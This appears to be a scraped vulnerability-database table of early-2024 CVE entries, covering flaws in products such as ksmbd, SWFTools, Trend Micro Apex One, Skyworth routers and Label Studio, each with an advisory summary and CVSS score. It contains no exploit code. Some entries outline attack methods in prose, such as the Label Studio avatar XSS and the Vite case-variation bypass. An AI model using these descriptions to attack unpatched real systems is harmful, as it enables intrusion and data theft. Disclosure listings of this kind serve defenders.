CVE-2024-22705	An issue was discovered in ksmbd in the Linux kernel before 6.6.10. smb2_get_data_area_len in fs/smb/server/smb2misc.c can cause an smb_strndup_from_utf16 out-of-bounds access because the relationship between Name data and CreateContexts data is mishandled.	7.8	More Details
CVE-2024-22562	swftools 0.9.2 was discovered to contain a Stack Buffer Underflow via the function dict_foreach_keyvalue at swftools/lib/q.c.	7.8	More Details
CVE-2023-47199	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47193.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-47198	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47199.	7.8	More Details
CVE-2024-22919	swftools0.9.2 was discovered to contain a global-buffer-overflow vulnerability via the function parseExpression at swftools/src/swfc.c:2587.	7.8	More Details
CVE-2023-52094	An updater link following vulnerability in the Trend Micro Apex One agent could allow a local attacker to abuse the updater to delete an arbitrary folder, leading for a local privilege escalation on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2023-52093	An exposed dangerous function vulnerability in the Trend Micro Apex One agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2024-22915	A heap-use-after-free was found in SWFTools v0.9.2, in the function swf_DeleteTag at rfxswf.c:1193. It allows an attacker to cause code execution.	7.8	More Details
CVE-2023-52092	A security agent link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2024-22913	A heap-buffer-overflow was found in SWFTools v0.9.2, in the function swf5lex at lex.swf5.c:1321. It allows an attacker to cause code execution.	7.8	More Details
CVE-2023-52091	An anti-spyware engine link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2024-22912	A global-buffer-overflow was found in SWFTools v0.9.2, in the function countline at swf5compiler.flex:327. It allows an attacker to cause code execution.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-52090	A security agent link following vulnerability in Trend Micro Apex One could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2024-22911	A stack-buffer-underflow vulnerability was found in SWFTools v0.9.2, in the function parseExpression at src/swfc.c:2602.	7.8	More Details
CVE-2023-47202	A local file inclusion vulnerability on the Trend Micro Apex One management server could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2023-47201	A plug-in manager origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47200.	7.8	More Details
CVE-2023-47200	A plug-in manager origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47201.	7.8	More Details
CVE-2023-50274	HPE OneView may allow command injection with local privilege escalation.	7.8	More Details
CVE-2024-22920	swftools 0.9.2 was discovered to contain a heap-use-after-free via the function bufferWriteData in swftools/lib/action/compile.c.	7.8	More Details
CVE-2023-47196	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47197.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-47195	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47196.	7.8	More Details
CVE-2023-52338	A link following vulnerability in the Trend Micro Deep Security 20.0 and Trend Micro Cloud One - Endpoint and Workload Security Agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2024-22955	swftools 0.9.2 was discovered to contain a stack-buffer-underflow vulnerability via the function parseExpression at swftools/src/swfc.c:2576.	7.8	More Details
CVE-2023-47194	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47195.	7.8	More Details
CVE-2024-22956	swftools 0.9.2 was discovered to contain a heap-use-after-free vulnerability via the function removeFromTo at swftools/src/swfc.c:838	7.8	More Details
CVE-2023-47197	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47198.	7.8	More Details
CVE-2023-47193	An origin validation vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. This vulnerability is similar to, but not identical to, CVE-2023-47194.	7.8	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-52337	An improper access control vulnerability in Trend Micro Deep Security 20.0 and Trend Micro Cloud One - Endpoint and Workload Security Agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2023-47192	An agent link vulnerability in the Trend Micro Apex One security agent could allow a local attacker to escalate privileges on affected installations. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.8	More Details
CVE-2024-22421	JupyterLab is an extensible environment for interactive and reproducible computing, based on the Jupyter Notebook and Architecture. Users of JupyterLab who click on a malicious link may get their `Authorization` and `XSRFToken` tokens exposed to a third party when running an older `jupyter-server` version. JupyterLab versions 4.1.0b2, 4.0.11, and 3.6.7 are patched. No workaround has been identified, however users should ensure to upgrade `jupyter-server` to version 2.7.2 or newer which includes a redirect vulnerability fix.	7.6	More Details
CVE-2023-34348	AVEVA PI Server versions 2023 and 2018 SP3 P05 and prior contain a vulnerability that could allow an unauthenticated user to remotely crash the PI Message Subsystem of a PI Server, resulting in a denial-of-service condition.	7.5	More Details
CVE-2023-51926	YonBIP v3_23.05 was discovered to contain an arbitrary file read vulnerability via the nc.bs.framework.comn.serv.CommonServletDispatcher component.	7.5	More Details
CVE-2023-28738	Improper input validation for some Intel NUC BIOS firmware before version JY0070 may allow a privileged user to potentially enable escalation of privilege via local access.	7.5	More Details
CVE-2023-40052	This issue affects Progress Application Server (PAS) for OpenEdge in versions 11.7 prior to 11.7.18, 12.2 prior to 12.2.13, and innovation releases prior to 12.8.0 . An attacker who can produce a malformed web request may cause the crash of a PASOE agent potentially disrupting the thread activities of many web application clients. Multiple of these DoS attacks could lead to the flooding of invalid requests as compared to the server’s remaining ability to process valid requests.	7.5	More Details
CVE-2024-0744	In some circumstances, JIT compiled code could have dereferenced a wild pointer value. This could have led to an exploitable crash. This vulnerability affects Firefox < 122.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-47034	A vulnerability in UniswapFrontRunBot 0xdB94c allows attackers to cause financial losses via unspecified vectors.	7.5	More Details
CVE-2024-22422	AnythingLLM is an application that turns any document, resource, or piece of content into context that any LLM can use as references during chatting. In versions prior to commit `08d33cfd8` an unauthenticated API route (file export) can allow attacker to crash the server resulting in a denial of service attack. The “data-export” endpoint is used to export files using the filename parameter as user input. The endpoint takes the user input, filters it to avoid directory traversal attacks, fetches the file from the server, and afterwards deletes it. An attacker can trick the input filter mechanism to point to the current directory, and while attempting to delete it the server will crash as there is no error-handling wrapper around it. Moreover, the endpoint is public and does not require any form of authentication, resulting in an unauthenticated Denial of Service issue, which crashes the instance using a single HTTP packet. This issue has been addressed in commit `08d33cfd8`. Users are advised to upgrade. There are no known workarounds for this vulnerability.	7.5	More Details
CVE-2023-52353	An issue was discovered in Mbed TLS through 3.5.1. In mbedtls_ssl_session_reset, the maximum negotiable TLS version is mishandled. For example, if the last connection negotiated TLS 1.2, then 1.2 becomes the new maximum.	7.5	More Details
CVE-2023-47033	MultiSigWallet 0xF0C99 was discovered to contain a reentrancy vulnerability via the function executeTransaction.	7.5	More Details
CVE-2024-23684	Inefficient algorithmic complexity in DecodeFromBytes function in com.upokecenter.cbor Java implementation of Concise Binary Object Representation (CBOR) versions 4.0.0 to 4.5.1 allows an attacker to cause a denial of service by passing a maliciously crafted input. Depending on an application's use of this library, this may be a remote attacker.	7.5	More Details
CVE-2023-51948	A Site-wide directory listing vulnerability in /fm in actidata actiNAS SL 2U-8 RDX 3.2.03-SP1 allows remote attackers to list the files hosted by the web application.	7.5	More Details
CVE-2024-22563	openvswitch 2.17.8 was discovered to contain a memory leak via the function xmalloc__ in openvswitch-2.17.8/lib/util.c.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23732	The JSON loader in Embedchain before 0.1.57 allows a ReDoS (regular expression denial of service) via a long string to json.py.	7.5	More Details
CVE-2023-52325	A local file inclusion vulnerability in one of Trend Micro Apex Central's widgets could allow a remote attacker to execute arbitrary code on affected installations. Please note: this vulnerability must be used in conjunction with another one to exploit an affected system. In addition, an attacker must first obtain a valid set of credentials on target system in order to exploit this vulnerability.	7.5	More Details
CVE-2024-23744	An issue was discovered in Mbed TLS 3.5.1. There is persistent handshake denial if a client sends a TLS 1.3 ClientHello without extensions.	7.5	More Details
CVE-2023-28743	Improper input validation for some Intel NUC BIOS firmware before version QN0073 may allow a privileged user to potentially enable escalation of privilege via local access.	7.5	More Details
CVE-2023-50275	HPE OneView may allow clusterService Authentication Bypass resulting in denial of service.	7.5	More Details
CVE-2023-29495	Improper input validation for some Intel NUC BIOS firmware before version IN0048 may allow a privileged user to potentially enable escalation of privilege via local access.	7.5	More Details
CVE-2023-43817	A buffer overflow exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wMailContentLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.	7.5	More Details
CVE-2023-38587	Improper input validation in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	7.5	More Details
CVE-2023-42429	Improper buffer restrictions in some Intel NUC BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	7.5	More Details
CVE-2023-42766	Improper input validation in some Intel NUC 8 Compute Element BIOS firmware may allow a privileged user to potentially enable escalation of privilege via local access.	7.5	More Details
CVE-2023-47035	RPTC 0x3b08c was discovered to not conduct status checks on the parameter tradingOpen. This vulnerability can allow attackers to conduct unauthorized transfer operations.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-23204	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, watchOS 10.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user.	7.5	More Details
CVE-2024-23203	The issue was addressed with additional permissions checks. This issue is fixed in macOS Sonoma 14.3, iOS 17.3 and iPadOS 17.3. A shortcut may be able to use sensitive data with certain actions without prompting the user.	7.5	More Details
CVE-2024-23331	Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict access to dev servers.	7.5	More Details
CVE-2024-23678	In Splunk Enterprise for Windows versions below 9.0.8 and 9.1.3, Splunk Enterprise does not correctly sanitize path input data. This results in the unsafe deserialization of untrusted data from a separate disk partition on the machine. This vulnerability only affects Splunk Enterprise for Windows.	7.5	More Details
CVE-2024-0605	Using a javascript: URI with a setTimeout race condition, an attacker can execute unauthorized scripts on top origin sites in urlbar. This bypasses security measures, potentially leading to arbitrary code execution or unauthorized actions within the user's loaded webpage. This vulnerability affects Focus for iOS < 122.	7.5	More Details
CVE-2023-52285	ExamSys 9150244 allows SQL Injection via the /Support/action/Pages.php s_score2 parameter.	7.5	More Details
CVE-2023-51741	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to transmission of authentication credentials in plaintext over the network. A remote attacker could exploit this vulnerability by eavesdropping on the victim’s network traffic to extract username and password from the web interface (Password Reset Page) of the vulnerable targeted system.	7.5	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-22233	In Spring Framework versions 6.0.15 and 6.1.2, it is possible for a user to provide specially crafted HTTP requests that may cause a denial-of-service (DoS) condition. Specifically, an application is vulnerable when all of the following are true: * the application uses Spring MVC * Spring Security 6.1.6+ or 6.2.1+ is on the classpath Typically, Spring Boot applications need the org.springframework.boot:spring-boot-starter-web and org.springframework.boot:spring-boot-starter-security dependencies to meet all conditions.	7.5	More Details
CVE-2023-52354	chasquid before 1.13 allows SMTP smuggling because LF-terminated lines are accepted.	7.5	More Details
CVE-2024-21484	Versions of the package jsrsasign before 11.0.0 are vulnerable to Observable Discrepancy via the RSA PKCS1.5 or RSAOAEP decryption process. An attacker can decrypt ciphertexts by exploiting the Marvin security flaw. Exploiting this vulnerability requires the attacker to have access to a large number of ciphertexts encrypted with the same key. Workaround The vulnerability can be mitigated by finding and replacing RSA and RSAOAEP decryption with another crypto library.	7.5	More Details
CVE-2023-51740	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to transmission of authentication credentials in plaintext over the network. A remote attacker could exploit this vulnerability by eavesdropping on the victim's network traffic to extract username and password from the web interface (Login Page) of the vulnerable targeted system.	7.5	More Details
CVE-2023-50614	An issue discovereed in EBYTE E880-IR01-V1.1 allows an attacker to obtain sensitive information via crafted POST request to /cgi-bin/luci.	7.5	More Details
CVE-2024-0743	An unchecked return value in TLS handshake code could have caused a potentially exploitable crash. This vulnerability affects Firefox < 122, Firefox ESR < 115.9, and Thunderbird < 115.9.	7.5	More Details
CVE-2024-23342	The `ecdsa` PyPI package is a pure Python implementation of ECC (Elliptic Curve Cryptography) with support for ECDSA (Elliptic Curve Digital Signature Algorithm), EdDSA (Edwards-curve Digital Signature Algorithm) and ECDH (Elliptic Curve Diffie-Hellman). Versions 0.18.0 and prior are vulnerable to the Minerva attack. As of time of publication, no known patched version exists.	7.4	More Details
CVE-2024-22771	Improper Input Validation in Hitron Systems DVR LGUVR-4H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.	7.4	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-22772	Improper Input Validation in Hitron Systems DVR LGUVR-8H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.	7.4	More Details
CVE-2024-23842	Improper Input Validation in Hitron Systems DVR LGUVR-16H 1.02~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.	7.4	More Details
CVE-2024-22768	Improper Input Validation in Hitron Systems DVR HVR-4781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.	7.4	More Details
CVE-2024-22769	Improper Input Validation in Hitron Systems DVR HVR-8781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.	7.4	More Details
CVE-2024-22770	Improper Input Validation in Hitron Systems DVR HVR-16781 1.03~4.02 allows an attacker to cause network attack in case of using defalut admin ID/PW.	7.4	More Details
CVE-2024-20272	A vulnerability in the web-based management interface of Cisco Unity Connection could allow an unauthenticated, remote attacker to upload arbitrary files to an affected system and execute commands on the underlying operating system. This vulnerability is due to a lack of authentication in a specific API and improper validation of user-supplied data. An attacker could exploit this vulnerability by uploading arbitrary files to an affected system. A successful exploit could allow the attacker to store malicious files on the system, execute arbitrary commands on the operating system, and elevate privileges to root.	7.3	More Details
CVE-2024-22415	jupyter-lsp is a coding assistance tool for JupyterLab (code navigation + hover suggestions + linters + autocompletion + rename) using Language Server Protocol. Installations of jupyter-lsp running in environments without configured file system access control (on the operating system level), and with jupyter-server instances exposed to non-trusted network are vulnerable to unauthorised access and modification of file system beyond the jupyter root directory. This issue has been patched in version 2.2.2 and all users are advised to upgrade. Users unable to upgrade should uninstall jupyter-lsp.	7.3	More Details
CVE-2023-32544	Improper access control in some Intel HotKey Services for Windows 10 for Intel NUC P14E Laptop Element software installers before version 1.1.45 may allow an authenticated user to potentially enable denial of service via local access.	7.3	More Details

CVE Number	Description	Base Score	Reference
CVE-2024-0648	A vulnerability has been found in Yunyou CMS up to 2.2.6 and classified as critical. This vulnerability affects unknown code of the file /app/index/controller/Common.php. The manipulation of the argument templateFile leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. VDB-251374 is the identifier assigned to this vulnerability.	7.3	More Details
CVE-2024-0739	A vulnerability, which was classified as critical, was found in Hecheng Leadshop up to 1.4.20. Affected is an unknown function of the file /web/leadshop.php. The manipulation of the argument install leads to deserialization. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251562 is the identifier assigned to this vulnerability.	7.3	More Details
CVE-2024-0712	A vulnerability was found in Byzoro Smart S150 Management Platform V31R02B15. It has been classified as critical. Affected is an unknown function of the file /useratte/inc/userattea.php. The manipulation leads to improper access controls. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. VDB-251538 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	7.3	More Details
CVE-2024-22419	Vyper is a Pythonic Smart Contract Language for the Ethereum Virtual Machine. The `concat` built-in can write over the bounds of the memory buffer that was allocated for it and thus overwrite existing valid data. The root cause is that the `build_IR` for `concat` doesn't properly adhere to the API of copy functions (for `>=0.3.2` the `copy_bytes` function). A contract search was performed and no vulnerable contracts were found in production. The buffer overflow can result in the change of semantics of the contract. The overflow is length-dependent and thus it might go unnoticed during contract testing. However, certainly not all usages of concat will result in overwritten valid data as we require it to be in an internal function and close to the return statement where other memory allocations don't occur. This issue has been addressed in 0.4.0.	7.3	More Details
CVE-2024-0645	Buffer overflow vulnerability in Explorer++ affecting version 1.3.5.531. A local attacker could execute arbitrary code via a long filename argument by monitoring Structured Exception Handler (SEH) records.	7.3	More Details
CVE-2023-49329	Anomali Match before 4.6.2 allows OS Command Injection. An authenticated admin user can inject and execute operating system commands. This arises from improper handling of untrusted input, enabling an attacker to elevate privileges, execute system commands, and potentially compromise the underlying operating system. The fixed versions are 4.4.5, 4.5.4, and 4.6.2. The earliest affected version is 4.3.	7.2	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-7082	The Import any XML or CSV File to WordPress plugin before 3.7.3 accepts all zip files and automatically extracts the zip file into a publicly accessible directory without sufficiently validating the extracted file type. This may allows high privilege users such as administrator to upload an executable file type leading to remote code execution.	7.2	More Details
CVE-2024-0405	The Burst Statistics – Privacy-Friendly Analytics for WordPress plugin, version 1.5.3, is vulnerable to Post-Authenticated SQL Injection via multiple JSON parameters in the /wp-json/burst/v1/data/compare endpoint. Affected parameters include 'browser', 'device', 'page_id', 'page_url', 'platform', and 'referrer'. This vulnerability arises due to insufficient escaping of user-supplied parameters and the lack of adequate preparation in SQL queries. As a result, authenticated attackers with editor access or higher can append additional SQL queries into existing ones, potentially leading to unauthorized access to sensitive information from the database.	7.2	More Details
CVE-2023-7063	The WPForms Pro plugin for WordPress is vulnerable to Stored Cross-Site Scripting via form submission parameters in all versions up to, and including, 1.8.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.	7.2	More Details
CVE-2024-0396	In Progress MOVEit Transfer versions released before 2022.0.10 (14.0.10), 2022.1.11 (14.1.11), 2023.0.8 (15.0.8), 2023.1.3 (15.1.3), an input validation issue was discovered. An authenticated user can manipulate a parameter in an HTTPS transaction. The modified transaction could lead to computational errors within MOVEit Transfer and potentially result in a denial of service.	7.1	More Details
CVE-2023-52331	A post-authenticated server-side request forgery (SSRF) vulnerability in Trend Micro Apex Central could allow an attacker to interact with internal or local services directly. Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.	7.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-47115	Label Studio is an a popular open source data labeling tool. Versions prior to 1.9.2 have a cross-site scripting (XSS) vulnerability that could be exploited when an authenticated user uploads a crafted image file for their avatar that gets rendered as a HTML file on the website. Executing arbitrary JavaScript could result in an attacker performing malicious actions on Label Studio users if they visit the crafted avatar image. For an example, an attacker can craft a JavaScript payload that adds a new Django Super Administrator user if a Django administrator visits the image. The file `users/functions.py` lines 18-49 show that the only verification check is that the file is an image by extracting the dimensions from the file. Label Studio serves avatar images using Django's built-in `serve` view, which is not secure for production use according to Django's documentation. The issue with the Django `serve` view is that it determines the `Content-Type` of the response by the file extension in the URL path. Therefore, an attacker can upload an image that contains malicious HTML code and name the file with a `.html` extension to be rendered as a HTML page. The only file extension validation is performed on the client-side, which can be easily bypassed. Version 1.9.2 fixes this issue. Other remediation strategies include validating the file extension on the server side, not in client-side code; removing the use of Django's `serve` view and implement a secure controller for viewing uploaded avatar images; saving file content in the database rather than on the filesystem to mitigate against other file related vulnerabilities; and avoiding trusting user controlled inputs.	7.1	More Details
CVE-2023-7238	A XSS payload can be uploaded as a DICOM study and when a user tries to view the infected study inside the Osimis WebViewer the XSS vulnerability gets triggered. If exploited, the attacker will be able to execute arbitrary JavaScript code inside the victim's browser.	7.1	More Details
CVE-2023-43815	A buffer overflow vulnerability exists in Delta Electronics Delta Industrial Automation DOPSoft version 2 when parsing the wScreenDESCTextLen field of a DPS file. An anonymous attacker can exploit this vulnerability by enticing a user to open a specially crafted DPS file to achieve code execution.	7.1	More Details
CVE-2024-23345	Nautobot is a Network Source of Truth and Network Automation Platform built as a web application. All users of Nautobot versions earlier than 1.6.10 or 2.1.2 are potentially impacted by a cross-site scripting vulnerability. Due to inadequate input sanitization, any user-editable fields that support Markdown rendering, including are potentially susceptible to cross-site scripting (XSS) attacks via maliciously crafted data. This issue is fixed in Nautobot versions 1.6.10 and 2.1.2.	7.1	More Details

CVE Number	Description	Base Score	Reference
CVE-2022-41990	Cross-Site Request Forgery (CSRF) vulnerability in Vinoj Cardoza 3D Tag Cloud allows Stored XSS.This issue affects 3D Tag Cloud: from n/a through 3.8.	7.1	More Details
CVE-2024-0646	An out-of-bounds memory write flaw was found in the Linux kernel's Transport Layer Security functionality in how a user calls a function splice with a ktls socket as the destination. This flaw allows a local user to crash or potentially escalate their privileges on the system.	7.0	More Details
CVE-2023-6531	A use-after-free flaw was found in the Linux Kernel due to a race problem in the unix garbage collector's deletion of SKB races with unix_stream_read_generic() on the socket that the SKB is queued on.	7.0	More Details
CVE-2023-51043	In the Linux kernel before 6.4.5, drivers/gpu/drm/drm_atomic.c has a use-after-free during a race condition between a nonblocking atomic commit and a driver unload.	7.0	More Details
CVE-2023-51726	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Server Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51719	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Traceroute parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51720	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 1 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51721	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 2 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51722	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Time Server 3 parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51723	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Description parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51724	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the URL parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51725	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Contact Email Address parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51728	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Password parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51727	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the SMTP Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51729	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the DDNS Username parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51730	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the DDNS Password parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51731	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Hostname parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details

CVE Number	Description	Base Score	Reference
CVE-2023-51732	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the IPsec Tunnel Name parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51733	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Identity parameter under Local endpoint settings at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51734	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Identity parameter under Remote endpoint settings at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
CVE-2023-51735	This vulnerability exist in Skyworth Router CM5100, version 4.1.1.24, due to insufficient validation of user supplied input for the Pre-shared key parameter at its web interface. A remote attacker could exploit this vulnerability by supplying specially crafted input to the parameter at the web interface of the vulnerable targeted system. Successful exploitation of this vulnerability could allow the attacker to perform stored XSS attacks on the targeted system.	6.9	More Details
